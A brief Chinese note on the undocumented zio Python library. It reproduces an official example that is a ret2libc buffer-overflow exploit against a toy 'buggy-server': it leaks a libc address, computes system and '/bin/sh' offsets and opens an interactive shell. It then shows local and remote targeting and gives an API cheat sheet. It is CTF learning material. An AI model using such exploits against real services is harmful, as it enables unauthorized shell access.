zio库没有提供文档
这个是官方给出的一个例子程序
1 from zio import * 2 io = zio('./buggy-server') 3 # io = zio((pwn.server, 1337)) 4 5 for i in xrange(1337): 6 io.writeline('add ' + str(i)) 7 io.read_until('>>') 8 9 io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa info " + "A" * 49 + " show ") 10 io.read_until('A' * 49) 11 libc_base = l32(io.read(4)) - 0x1a9960 12 libc_system = libc_base + 0x3ea70 13 libc_binsh = libc_base + 0x15fcbf 14 payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh) 15 io.write('info ' + payload + " show exit ") 16 io.read_until(">>") 17 # We've got a shell;-) 18 io.interact()
可以做本地和远程的切换
1 from zio import * 2 3 if you_are_debugging_local_server_binary: 4 io = zio('./buggy-server') # used for local pwning development 5 elif you_are_pwning_remote_server: 6 io = zio(('1.2.3.4', 1337)) # used to exploit remote service 7 8 io.write(your_awesome_ropchain_or_shellcode) 9 # hey, we got an interactive shell! 10 io.interact()
总结一下
zio (('127.0.0.1',3389), timeout = 9999)
连接到ip的端口
zio('./pwn1') 加载本地文件
writeline('abc') 发送字符串
write(‘abc') 发送字符串
read_until('hello') 直到收到字符串
read(4) 接收
l32() 4byte
l64() 8byte
interact()与shell交互